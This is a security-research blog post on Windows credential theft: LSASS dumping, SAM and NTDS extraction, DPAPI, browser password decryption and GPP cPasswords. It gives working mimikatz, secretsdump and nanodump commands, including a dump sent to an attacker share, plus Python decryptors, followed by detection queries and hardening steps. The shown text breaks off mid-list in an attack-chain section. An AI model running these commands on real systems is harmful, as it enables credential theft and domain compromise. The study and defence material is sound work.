Windows Credential Access: LSASS, DPAPI, SAM, and Browser Secrets
Mon Jun 29 2026 · 22 min read
Category: Security Research
Introduction
Windows stores credentials in dozens of different locations. On a single Windows workstation in a domain environment, you can simultaneously find NT hashes and Kerberos tickets in LSASS memory, local account hashes in the SAM database, browser passwords protected by DPAPI, network credentials in Credential Manager, and legacy GPP passwords in SYSVOL. This complexity is a headache for defenders and a gold mine for attackers.
In 2011, French researcher Benjamin Delpy published a tool he called "mimikatz," fundamentally changing the Windows security world. Delpy proved that, contrary to Microsoft's claim that "cleartext passwords cannot be stored in memory," Windows was actually keeping cleartext passwords in LSASS memory through the WDigest authentication protocol. Since then, mimikatz has become an indispensable tool for penetration testing and real-world attacks, while MITRE ATT&CK T1003 (OS Credential Dumping) officially documents this attack family.
In this post we'll examine Windows credential access in depth: LSASS SSP architecture, the DPAPI key hierarchy, SAM and NTDS dump techniques, Credential Manager abuse, Chrome and Firefox password decryption mechanisms, and GPP credentials. For every technique we'll provide real commands, OPSEC ratings, and detection guidance.
1. LSASS (Local Security Authority Subsystem Service) In Depth
LSASS is the heart of Windows authentication infrastructure. It manages all logon operations, processes Kerberos tickets, implements NTLM challenge-response, and keeps credentials associated with user sessions in memory. Its PID is typically in the 600s range (varies by system configuration) and it lives at C:\Windows\System32\lsass.exe.
LSASS's critical feature is its use of dynamically loadable modules called Security Support Providers (SSPs) to support different authentication protocols. Each SSP holds different types of credentials in memory, and accessing those credentials means reaching the data that SSP has stored.
1.1 Security Support Provider Details
msv1_0.dll — NTLM Authentication
The module managing NTLM authentication. Holds in memory:
- NT hash: MD4 hash of the user's password. Can be used directly in Pass-the-Hash attacks.
- LM hash: Still present on older systems. Trivially crackable.
- NTLMv1/v2 challenge-response: Session hashes used in NTLM handshakes.
- Session keys: Key material used for SMB signing and encryption.
mimikatz command: sekurlsa::msv or sekurlsa::logonpasswords
kerberos.dll — Kerberos Protocol
Manages Kerberos, the primary authentication protocol in Active Directory environments. Holds in memory:
- TGT (Ticket Granting Ticket): Ticket received from AS-REP. Can be used without logging into a Domain Controller.
- TGS (Ticket Granting Service): Service tickets used to access specific services.
- Session keys: Encryption keys associated with TGTs and TGSes.
- APREQ tokens: Tokens prepared for service authentication.
mimikatz commands: sekurlsa::kerberos, kerberos::list /export
Important: Kerberos tickets can be used in pass-the-ticket attacks. With a TGT, you can request any TGS on behalf of that user. If the krbtgt hash is obtained, a Golden Ticket can be forged.
wdigest.dll — HTTP Digest Authentication
Designed for HTTP Digest authentication, this module was forced to keep cleartext passwords in memory due to the protocol's requirement. This was precisely the security vulnerability Benjamin Delpy discovered that shocked the world.
- Windows 7 / Server 2008: Default ON. Cleartext passwords present in LSASS memory.
- Windows 8.1 / Server 2012 R2+: Default OFF. Disabled via KB2871997.
- Re-enabling:
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 1
Attackers can set this registry key to 1 and wait for the victim to log in again to obtain the cleartext password. However, this leaves artifacts.
mimikatz command: sekurlsa::wdigest
tspkg.dll — Terminal Services / RDP Credentials
Manages Terminal Services authentication. Can hold cleartext username and password in memory if active RDP sessions exist. Especially valuable on jump servers or RDP gateway systems.
mimikatz command: sekurlsa::tspkg
livessp.dll — Microsoft Account (Live ID)
The SSP used for Microsoft account authentication during the Windows 8 and 8.1 era. Largely supplanted by cloudap.dll today.
mimikatz command: sekurlsa::livessp
cloudap.dll — Azure AD / Windows Hello
Manages Azure Active Directory (Entra ID) authentication on modern Windows devices. Holds in memory:
- PRT (Primary Refresh Token): Long-lived token used for Azure AD sessions. With this token, new access tokens and refresh tokens can be obtained.
- Windows Hello keys: Private keys used for PIN or biometric authentication.
- Nonces and proof tokens: Cryptographic material for communication with Azure AD.
mimikatz command: sekurlsa::cloudap
Note: Stealing a PRT can bypass MFA and grant access to the Azure portal, Microsoft 365, Teams, and all Azure resources. This is known as a "Pass-the-PRT" attack.
credssp.dll — Credential Security Support Provider
Manages Network Level Authentication (NLA) and the CredSSP protocol. Passes full credentials to the remote system during RDP connections. After the connection is established, these credentials appear in the remote system's LSASS memory.
mimikatz command: sekurlsa::credman
1.2 LSASS Dump Techniques
Multiple methods exist for dumping LSASS. Each has a different OPSEC profile and privilege requirement:
Method 1: Task Manager (GUI)
The easiest and noisiest method. Requires an interactive session.
# Task Manager → Details tab → lsass.exe
# Right-click → "Create dump file"
# Output: C:\Users\[user]\AppData\Local\Temp\lsass.DMP
# OPSEC: VERY HIGH — triggers Sysmon Event 10
Method 2: ProcDump (Microsoft Signed)
The Sysinternals ProcDump tool is digitally signed by Microsoft. This can bypass some older AV solutions. However, modern EDRs detect this tool's access to lsass.exe.
:: Basic usage
procdump.exe -ma lsass.exe lsass_dump.dmp
:: Silent (auto-accept EULA)
procdump.exe -ma -accepteula lsass.exe C:\temp\lsass.dmp
:: By PID instead of process name
procdump.exe -ma 640 C:\temp\lsass.dmp
:: OPSEC: HIGH — Sysmon Event 10, Defender ATP alert
Method 3: comsvcs.dll MiniDump (LOLBin)
This technique uses the MiniDump export function from comsvcs.dll, which is built into the system. No external tools required — hence "Living off the Land Binary (LOLBin)."
# Get LSASS PID and create dump
$LSASS = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $LSASS C:\temp\lsass.dmp full
# One-liner with variable
$p=(Get-Process l*s).Id; rundll32 $env:SystemRoot\System32\comsvcs.dll, MiniDump $p $env:TEMP\out.dmp full; Wait-Job -Any
# OPSEC: MEDIUM — rundll32 + comsvcs combination gets flagged
# Sysmon Event 11 (file create), Event 10 (process access)
Method 4: nanodump (PPL Bypass)
nanodump is an advanced LSASS dump tool that bypasses PPL (Protected Process Light) protection. Rather than opening a process handle, it uses process forking or handle duplication techniques.
# Basic usage
nanodump.exe --write C:\temp\lsass.dmp
# Specify PID
nanodump.exe -p 640 --write C:\temp\lsass.dmp
# Handle duplicate method (stealthier)
nanodump.exe --dup --write C:\temp\lsass.dmp
# Remote via SMB (from C2)
nanodump.exe -p 640 --dup --write \\attacker\share\lsass.dmp
# OPSEC: LOW — kernel-level events only, user-mode monitoring bypassed
# May require kernel driver or exploit for PPL bypass
Method 5: SilentProcessExit
A stealthy technique using Windows error reporting mechanisms:
# Trigger dump via registry keys
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# OPSEC: HIGH — registry change + process kill is very noisy
Method 6: Impacket secretsdump (Remote)
# Username/password
python3 secretsdump.py corp.local/administrator:'Password123'@10.10.10.10
# NT hash (Pass-the-Hash)
python3 secretsdump.py -hashes :aad3b435b51404eeaad3b435b51404ee:NT_HASH_HERE administrator@10.10.10.10
# Kerberos ticket
python3 secretsdump.py -k -no-pass corp.local/administrator@10.10.10.10
# SAM only
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL
# OPSEC: LOW/MEDIUM — network-only, no local process access
# DCSync mode triggers Event 4662
1.3 Extracting Hashes with mimikatz
After obtaining a dump file, or directly on the system, mimikatz is used to extract credentials:
# First acquire debug privilege (SeDebugPrivilege — requires SYSTEM)
privilege::debug
# Get credentials for all logged-in users
# NT hash + cleartext (if WDigest active) + Kerberos tickets
sekurlsa::logonpasswords
# WDigest cleartext passwords only
sekurlsa::wdigest
# Kerberos TGT and TGS tickets
sekurlsa::kerberos
# RDP (TS) credentials
sekurlsa::tspkg
# NTLM credentials
sekurlsa::msv
# Azure AD PRT tokens
sekurlsa::cloudap
# Credential Manager credentials
sekurlsa::credman
# ============================================================
# Offline extraction from dump file (no mimikatz on target)
# ============================================================
# Load the dump file first
sekurlsa::minidump C:\temp\lsass.dmp
# All commands now read from dump
sekurlsa::logonpasswords
# Local hashes from SAM database
lsadump::sam
# LSA secrets (service account passwords, auto-logon)
lsadump::secrets
# Cached domain credentials (DCC2 format)
lsadump::cache
# Extract domain backup key
lsadump::backupkeys /system:DC01.corp.local /export
# DCSync — pull a specific user's hash from DC
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /all /csv
1.4 Credential Guard
Microsoft introduced Credential Guard in Windows 10 version 1511. This feature uses Hyper-V-based virtualization to run LSASS in an isolated environment (VSM — Virtual Secure Mode / VTL1).
What Credential Guard protects:
- NT hashes (msv1_0.dll) — now in VTL1, inaccessible from user mode
- Kerberos TGT/TGS — now in VTL1
- WDigest cleartext passwords — completely blocked
What Credential Guard does NOT protect:
- Local hashes in the SAM database
- NTDS.dit (domain hashes)
- DPAPI master keys
- Browser passwords
- Network-captured NTLM hashes (Responder etc.)
- Credential Manager vault entries
# Check Credential Guard status
(Get-CimInstance -Namespace root/Microsoft/Windows/DeviceGuard -Class Win32_DeviceGuard).SecurityServicesRunning
# 1 = Credential Guard active, 2 = HVCI active
# Registry check
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags
2. SAM Database (Security Account Manager)
The SAM database is a critical file where Windows stores local user account credentials. Physical location: C:\Windows\System32\config\SAM
The SAM file is encrypted with a system-specific boot key (syskey/bootkey). The SYSTEM hive file (C:\Windows\System32\config\SYSTEM) is also required to decrypt it.
On a running system the SAM file is locked; it must be copied via Volume Shadow Copy (VSS) or registry export.
2.1 SAM Dump Techniques
Via Volume Shadow Copy (VSS)
:: Create VSS snapshot
vssadmin create shadow /for=C:
:: List shadow copies to find the path
vssadmin list shadows
:: Copy SAM and SYSTEM (adjust shadow copy path)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
:: Cleanup
vssadmin delete shadows /shadow:{GUID}
:: Extract hashes with impacket
python3 secretsdump.py -sam C:\temp\SAM -system C:\temp\SYSTEM LOCAL
Via Registry Export (interactive session)
:: Export SAM, SYSTEM, and SECURITY hives via registry
reg save HKLM\SAM C:\temp\SAM.hive
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
reg save HKLM\SECURITY C:\temp\SECURITY.hive
:: Local impacket analysis
python3 secretsdump.py -sam SAM.hive -security SECURITY.hive -system SYSTEM.hive LOCAL
Via mimikatz (live system)
privilege::debug
token::elevate # Get SYSTEM token
lsadump::sam # Extract hashes from SAM
2.2 LSA Secrets
LSA Secrets is a special structure in the HKLM\SECURITY\Policy\Secrets registry key containing system-level secrets including:
- _SC_ServiceName: Passwords for accounts running Windows services
- DefaultPassword: Auto-logon password
- NL$KM: Encryption key for cached domain credentials
- $MACHINE.ACC: Domain machine account password (changes every 30 days)
- DPAPI_SYSTEM: System-level DPAPI master key
# mimikatz
privilege::debug
token::elevate
lsadump::secrets
# Impacket
python3 secretsdump.py corp.local/administrator:'Password123'@10.10.10.10 -just-lsa
2.3 Cached Domain Credentials (DCC2)
Windows caches the last 10 domain credentials so users can log in even without network connectivity to a domain controller. These are stored under HKLM\SECURITY\Cache as NL$1, NL$2, etc.
Hash format: DCC2 (MS-Cache v2) — hashcat mode -m 2100
DCC2 hashes cannot be used in network authentication (Pass-the-Hash does not work). However, they can be cracked to recover cleartext passwords. Cracking is much slower than Kerberoasting.
# mimikatz
privilege::debug
token::elevate
lsadump::cache
# Hashcat cracking
hashcat -m 2100 dcc2_hash.txt wordlist.txt
# Format: $DCC2$10240#username#hash
# Example
hashcat -m 2100 '$DCC2$10240#administrator#a4bcd...' rockyou.txt --rules best64.rule
3. DPAPI (Data Protection API) In Depth
DPAPI is the encryption infrastructure Microsoft built into Windows to store user secrets. It has been present since 1999 and its use is extremely widespread: Chrome passwords, Credential Manager, Wi-Fi passwords, EFS keys, certificate private keys and more are all protected by DPAPI.
DPAPI's core principle: the encryption key is derived from the user's password. This means the user can access their data when logged in, but the data is inaccessible when the session is closed. However, this design has one critical weakness: the domain backup key.
3.1 DPAPI Key Hierarchy
Level 1: Domain Backup Key
In Active Directory environments, a special "DPAPI backup key" is stored on the Domain Controller. This key is used to encrypt all users' master keys across the domain. Anyone who possesses this key can decrypt the DPAPI secrets of every user on the domain.
- Location: DC's LSASS memory and AD database
- Replicated to all DCs
- Requires Domain Admin rights
- Does not change for years (danger!)
# mimikatz
lsadump::backupkeys /system:DC01.corp.local /export
# Output: ntds_capi_*.pvk and ntds_legacyapi_*.pvk files
# Impacket dpapi.py
python3 dpapi.py backupkeys --export -t corp.local/administrator:'Password123'@DC01.corp.local
Level 2: User Master Key
Each user has one or more master keys, stored as GUID-named files in the user profile folder:
# Master key location
%APPDATA%\Microsoft\Protect\{SID}\{GUID}
# Example:
C:\Users\jdoe\AppData\Roaming\Microsoft\Protect\S-1-5-21-...-1001\{3a4b5c6d-...}
The master key is derived from the user's password and SID (PBKDF2 + HMAC-SHA1). In domain environments an additional copy encrypted with the domain backup key is also present.
Level 3: DPAPI_BLOB
Every encrypted piece of data is in DPAPI_BLOB format. The blob's header contains the master key GUID that was used, allowing the correct master key to be located during decryption.
Level 4: Protected Secret
The actual secret revealed after decrypting the blob: a browser password, Wi-Fi key, certificate private key, etc.
3.2 DPAPI Attack Techniques
Bulk Decryption with Domain Backup Key
# 1. Obtain backup key (DA rights required)
python3 dpapi.py backupkeys --export -t corp.local/administrator:'Password123'@DC01
# or via mimikatz:
lsadump::backupkeys /system:DC01.corp.local /export
# 2. Use SharpDPAPI to decrypt all domain users' secrets
# (Decrypt master keys with backup key, then decrypt blobs)
SharpDPAPI.exe triage /pvk:backup_key.pvk
# Credential Manager vault entries only
SharpDPAPI.exe vaults /pvk:backup_key.pvk
# Chrome passwords
SharpDPAPI.exe logins /pvk:backup_key.pvk
# Certificates
SharpDPAPI.exe certificates /pvk:backup_key.pvk
DonPAPI (From Linux)
# Pull all DPAPI secrets from a Linux attack machine
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.10
# Scan entire domain
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.0/24
# Look for credential files
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.10 --credz
Offline DPAPI Analysis
# Decrypt a specific DPAPI blob
mimikatz: dpapi::blob /in:C:\temp\blob.bin /masterkey:<hex_masterkey>
# Decrypt a credential file
mimikatz: dpapi::cred /in:C:\Users\jdoe\AppData\Roaming\Microsoft\Credentials\{GUID}
# Decrypt master key (if user password is known)
mimikatz: dpapi::masterkey /in:C:\...\{GUID} /password:Password123
# Decrypt master key (with domain backup key)
mimikatz: dpapi::masterkey /in:C:\...\{GUID} /pvk:backup.pvk
3.3 System-Level DPAPI
System (MACHINE) level DPAPI protects secrets in the SYSTEM account context. The encryption key is derived from the machine SID and LSA boot key. These secrets include:
- Scheduled task passwords
- Wi-Fi PSK keys (
C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\) - RDP saved connection passwords (in SYSTEM context)
- DPAPI_SYSTEM secret (in LSA Secrets)
# Decrypt system DPAPI master key (with SYSTEM privileges)
mimikatz:
privilege::debug
token::elevate
dpapi::masterkey /in:"C:\Windows\System32\Microsoft\Protect\S-1-5-18\{GUID}" /system
# Decrypt Wi-Fi passwords
netsh wlan export profile folder=C:\temp key=clear
# or SharpDPAPI:
SharpDPAPI.exe wifi
4. Browser Credentials
Modern browsers store passwords locally for user convenience. Although these storage mechanisms use different encryption methods, they ultimately rely on OS-level secrets (DPAPI or NSS), making them valuable targets for attackers.
4.1 Chrome / Edge / Chromium-Based Browsers
Chrome's password storage architecture:
- Login Data: SQLite database —
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data - Local State: JSON file —
%LOCALAPPDATA%\Google\Chrome\User Data\Local State - Encryption: AES-256-GCM (Chrome 80+). Encryption key stored as a DPAPI blob in Local State.
Decryption flow:
- Extract
os_crypt.encrypted_keyfield from Local State JSON - Base64 decode → DPAPI blob with
DPAPI\x01prefix - Decrypt DPAPI blob with CryptUnprotectData() → AES-256 key
- Query
loginstable from Login Data SQLite →password_valuecolumn - Decrypt with AES-256-GCM (nonce is first 12 bytes after 3-byte
v10prefix)
# HackBrowserData (cross-platform)
./hack-browser-data -b chrome -o output/
./hack-browser-data -b all -o output/
# SharpChrome (Windows C# — SpecterOps)
SharpChrome.exe logins # all saved logins
SharpChrome.exe cookies # session cookies
SharpChrome.exe history # browsing history
SharpChrome.exe logins /server:dc01.corp.local # remote
# Python manual decryption example
import sqlite3, json, base64
from Cryptodome.Cipher import AES
import win32crypt
# Get AES key from Local State
with open(r'%LOCALAPPDATA%\Google\Chrome\User Data\Local State') as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])[5:] # skip DPAPI prefix
aes_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
# Get encrypted passwords from Login Data
conn = sqlite3.connect(r'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data')
cursor = conn.execute("SELECT origin_url, username_value, password_value FROM logins")
for url, username, encrypted_password in cursor.fetchall():
nonce = encrypted_password[3:15] # post-v10: 3 byte prefix + 12 byte nonce
ciphertext = encrypted_password[15:-16]
tag = encrypted_password[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
print(f"{url} | {username} | {plaintext.decode()}")
# DonPAPI (from Linux, as domain user)
python3 DonPAPI.py corp.local/jdoe:'Password123'@10.10.10.50
4.2 Firefox / Firefox-Based Browsers
Firefox uses a different encryption infrastructure than Chromium: NSS (Network Security Services):
- key4.db: NSS key database (SQLite format)
- logins.json: Encrypted login data (JSON format)
- Encryption: 3DES-CBC or AES-256-CBC via NSS
- Master Password: Optional additional protection. If not set, machine-specific key material is used.
# Firefox profile location:
# Windows: %APPDATA%\Mozilla\Firefox\Profiles\{profile}.default-release\
# Linux: ~/.mozilla/firefox/{profile}.default-release/
# firefox_decrypt (Python)
python3 firefox_decrypt.py /path/to/firefox/profile/
# Will prompt for master password (leave blank if not set)
# firepwd (Python — works on older profiles too)
python3 firepwd.py -d /path/to/profile/ -p master_password
# SharpWeb (C# — from Windows)
SharpWeb.exe all
# LaZagne (multi-browser)
python3 laZagne.py browsers
python3 laZagne.py all # all secrets
4.3 OPSEC Note: Accessing Browser Passwords
Chrome's Login Data file is locked while the browser is running. You can copy the file and analyze the copy:
:: Copy Login Data while Chrome is running
copy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\temp\LoginData
:: Then analyze the copy (even if the original is locked)
:: SharpChrome handles the copy operation automatically
5. Windows Credential Manager (Vault)
Windows Credential Manager stores network credentials, website passwords, and general application credentials with DPAPI protection. Location: %APPDATA%\Microsoft\Credentials\ and %LOCALAPPDATA%\Microsoft\Credentials\
Vault entries fall into two categories:
- Windows Credentials: Credentials for network shares and Remote Desktop connections
- Certificate-Based Credentials: Certificate-based credentials
- Generic Credentials: Application-level saved username/password pairs
# List saved credentials from command line
cmdkey /list
# Read Vault with PowerShell (Windows Runtime API)
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | ForEach-Object {
$_.RetrievePassword()
[PSCustomObject]@{
UserName = $_.UserName
Resource = $_.Resource
Password = $_.Password
}
}
# mimikatz
vault::list # list all vault entries
vault::cred /patch # decrypt credentials
# SharpDPAPI
SharpDPAPI.exe vaults
SharpDPAPI.exe credentials
# Decrypt physical credential files
# Location: %APPDATA%\Microsoft\Credentials\ and %LOCALAPPDATA%\Microsoft\Credentials\
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\{GUID}" /masterkey:<hex>
Credential Manager is particularly valuable because users often save critical system passwords — including domain admin accounts — here.
6. GPP Credentials (MS14-025)
Group Policy Preferences (GPP) allows system administrators to make configuration changes across the domain. A feature widely used between 2006 and 2014 used a cPassword field in Group Policy XML files for creating local administrator accounts or setting passwords.
These XML files are stored in SYSVOL and anyone who is a domain member can read them. Microsoft encrypted the passwords with AES-256 — but also published the encryption key publicly in MSDN documentation!
Microsoft addressed this vulnerability in 2014 with the MS14-025 patch (GPP can no longer use the cPassword field), but legacy configurations may still be sitting in SYSVOL.
# Search SYSVOL for XML files containing cPassword
findstr /S /I cPassword \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\*.xml
# CrackMapExec automatic check
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' -M gpp_autologin
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' -M gpp_password
# Metasploit modules
# use post/windows/gather/credentials/gpp
# use auxiliary/scanner/smb/smb_enumgpp
# Impacket
python3 Get-GPPPassword.py corp.local/jdoe:'Password123'@10.10.10.10
# PowerSploit (older but still works)
# Get-GPPPassword
# Get-GPPAutologon
# Python manual decrypt (AES CBC, public key!)
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
# Microsoft's published AES key (32 bytes)
key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
def decrypt_gpp_password(cpassword):
# Fix base64 padding
padding = len(cpassword) % 4
if padding:
cpassword += '=' * (4 - padding)
decoded = base64.b64decode(cpassword)
# AES-256-CBC, IV = 0
iv = b'\x00' * 16
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(decoded), 16)
return decrypted.decode('utf-16-le')
# Take cPassword value from GPP XML and decrypt
cpassword = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw+srsIA"
print(decrypt_gpp_password(cpassword))
6.1 Scope of the GPP Vulnerability
XML file types that may contain passwords via GPP:
- Groups.xml: Local group memberships and passwords
- Services.xml: Windows service configurations
- Scheduledtasks.xml: Scheduled task credentials
- Datasources.xml: Database connection information
- Printers.xml: Printer credentials
- Drives.xml: Drive mapping credentials
7. NTDS.dit Extraction (Domain Hash Dumping)
NTDS.dit is Active Directory's main database. It resides on the Domain Controller at C:\Windows\NTDS\ntds.dit and contains NT hashes for all domain user accounts. Obtaining this file means acquiring the credentials of the entire domain.
7.1 Copying NTDS.dit via VSS
:: Create VSS snapshot on DC (with SYSTEM privileges)
vssadmin create shadow /for=C:
:: Find shadow copy path
vssadmin list shadows
:: Copy NTDS and SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
:: Clean up snapshot
vssadmin delete shadows /shadow:{GUID} /quiet
:: Extract hashes
python3 secretsdump.py -ntds C:\temp\ntds.dit -system C:\temp\SYSTEM.hive LOCAL -outputfile hashes
7.2 DCSync (Remote, Over the Network)
DCSync is a technique for pulling hashes from a DC using the replication protocol (DRSUAPI) without actually copying the NTDS.dit file. Advantage: no physical access to the DC — only network access and appropriate rights.
Required rights: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All (held by Domain Admins and Domain Controllers by default)
# mimikatz DCSync
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /user:krbtgt # For Golden Ticket!
lsadump::dcsync /domain:corp.local /all /csv # All hashes in CSV format
# Impacket
python3 secretsdump.py corp.local/administrator:'Password123'@DC01.corp.local -just-dc
python3 secretsdump.py -hashes :NT_HASH administrator@DC01.corp.local -just-dc-ntlm
# CrackMapExec
crackmapexec smb DC01.corp.local -u administrator -p 'Password123' --ntds
# Grant DCSync rights (delegable — does not require DA)
# PowerView:
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe -Rights DCSync
7.3 Via ntdsutil (LOLBin)
:: ntdsutil — Windows built-in Active Directory management tool
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds_backup" "quit" "quit"
:: This creates under C:\temp\ntds_backup\:
:: Active Directory\ntds.dit
:: registry\SYSTEM
:: Extract hashes
python3 secretsdump.py -ntds "C:\temp\ntds_backup\Active Directory\ntds.dit" -system "C:\temp\ntds_backup\registry\SYSTEM" LOCAL
8. OPSEC Assessment and Detection Guide
8.1 Critical Windows Event IDs
- Event 4611: A trusted logon process has been registered with LSASS
- Event 4625: Failed logon attempt
- Event 4661: A handle was requested to SAM, NTDS, or SECURITY object
- Event 4662: An operation was performed on an Active Directory object (critical for DCSync)
- Event 4688: New process created (mimikatz.exe detection)
- Event 4698/4699: Scheduled task created/deleted
- Sysmon Event 10: ProcessAccess — detecting handle opened to lsass.exe
- Sysmon Event 11: FileCreate — detecting .dmp file creation
- Sysmon Event 12/13: RegistryEvent — WDigest registry modification
8.2 Sysmon Configuration (LSASS Protection)
<!-- sysmonconfig.xml -- lsass process access detection -->
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
</ProcessAccess>
<!-- Result: every LSASS handle open is logged as Event 10 -->
<!-- Correlation rule: many Event 10s = credential dump attempt -->
8.3 LSASS Access Detection (KQL — Microsoft Sentinel)
// LSASS Memory Access Detection
SecurityEvent
| where EventID == 10 // Sysmon ProcessAccess
| where TargetImage contains "lsass.exe"
| where not(InitiatingProcessName in~ ("svchost.exe", "wininit.exe", "csrss.exe"))
| project TimeGenerated, Computer, InitiatingProcessName, InitiatingProcessCommandLine, TargetImage, GrantedAccess
| order by TimeGenerated desc
// DCSync Detection (Event 4662)
SecurityEvent
| where EventID == 4662
| where Properties has "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" // DS-Replication-Get-Changes-All
or Properties has "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2"
| where SubjectUserName != "DOMAIN_CONTROLLER$"
| project TimeGenerated, Computer, SubjectUserName, ObjectName, Properties
8.4 Technique-by-Technique Detection Summary
| Technique | Primary Detection | Secondary Detection |
|---|---|---|
| sekurlsa::logonpasswords | Sysmon Event 10 (lsass handle) | Defender ATP LSASS tampering |
| comsvcs.dll MiniDump | Sysmon Event 11 (.dmp create) | rundll32+comsvcs pattern |
| Task Manager dump | Sysmon Event 10 | .DMP in %TEMP% |
| ProcDump -ma lsass | Sysmon Event 10 | Defender: ProcDump on lsass |
| nanodump | Kernel ETW events | WDAC driver signing alert |
| lsadump::sam | Event 4661 (SAM access) | VSS creation event |
| DCSync | Event 4662 (replication) | MDI replication detection |
| DPAPI offline | File access logs | DRSUAPI event for backup key |
| GPP credentials | SMB SYSVOL access | File access logs |
9. Defensive Measures
9.1 LSASS Protection
# Enable PPL (Protected Process Light) for LSASS
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# Credential Guard GPO path:
# Computer Configuration > Administrative Templates > System >
# Device Guard > Turn On Virtualization Based Security
# + Credential Guard Configuration: Enable with UEFI lock
# Disable WDigest (should already be off, enforce via GPO)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f
9.2 Audit Policy
:: Configure advanced audit policy
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
auditpol /set /subcategory:"Security Account Manager" /success:enable
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
:: Install Sysmon (SwiftOnSecurity config)
:: https://github.com/SwiftOnSecurity/sysmon-config
sysmon.exe -accepteula -i sysmonconfig.xml
9.3 GPP Cleanup
:: Scan SYSVOL for GPP passwords
findstr /S /I cPassword \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\*.xml
:: Clean cPassword fields from any found XML files
:: Change passwords of any accounts found
:: MS14-025 patch should already be applied — verify:
wmic qfe get HotFixID | findstr KB2962486
9.4 DPAPI Security Hardening
- Rotate the domain backup key regularly (at least annually)
- Move critical secrets from DPAPI to HSM or Azure Key Vault
- Use Privileged Identity Management (PIM) for DCSync rights
- Use Microsoft Defender for Identity (MDI) for DCSync and Golden Ticket detection
- Apply Tiered Administration Model: Domain Admin accounts used only on DCs
- Enforce Tier 0 isolation — no DA sessions on workstations or member servers
- LAPS (Local Administrator Password Solution) for unique local admin passwords
- Monitor SYSVOL for lingering GPP XML files with cPassword
9.5 Additional Hardening Controls
# Enable Windows Defender Application Control (WDAC)
# Blocks unsigned/untrusted binaries — prevents loading of attack tools
# Configure LAPS for all workstations
# Unique 256-bit random passwords for local Administrator account
Install-Module AdmPwd.PS
Update-AdmPwdADSchema
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=corp,DC=local"
# Block credential theft via Attack Surface Reduction (ASR) rules
# Rule: Block credential stealing from Windows local security authority subsystem
Set-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b0 -AttackSurfaceReductionRules_Actions Enabled
# Enforce Protected Users security group for privileged accounts
# Members cannot use: NTLM, WDigest, CredSSP, unconstrained delegation
Add-ADGroupMember -Identity "Protected Users" -Members "DA_jsmith","SA_backup"
10. Attack Chain: Putting It All Together
A realistic credential access attack chain in a domain environment might look like this:
Phase 1 — Initial Access: Phishing or public-facing exploit gives workstation access as a low-privilege domain user.
Phase 2 — Local Privilege Escalation: Token impersonation, Potato attacks, or UAC bypass to obtain local admin or SYSTEM.
Phase 3 — Local Credential Harvest:
lsadump::sam→ local NT hashes (may include shared admin passwords)vault::list+vault::cred→ Credential Manager (may contain domain creds)SharpChrome.exe logins→ browser passwords (may include internal app creds)
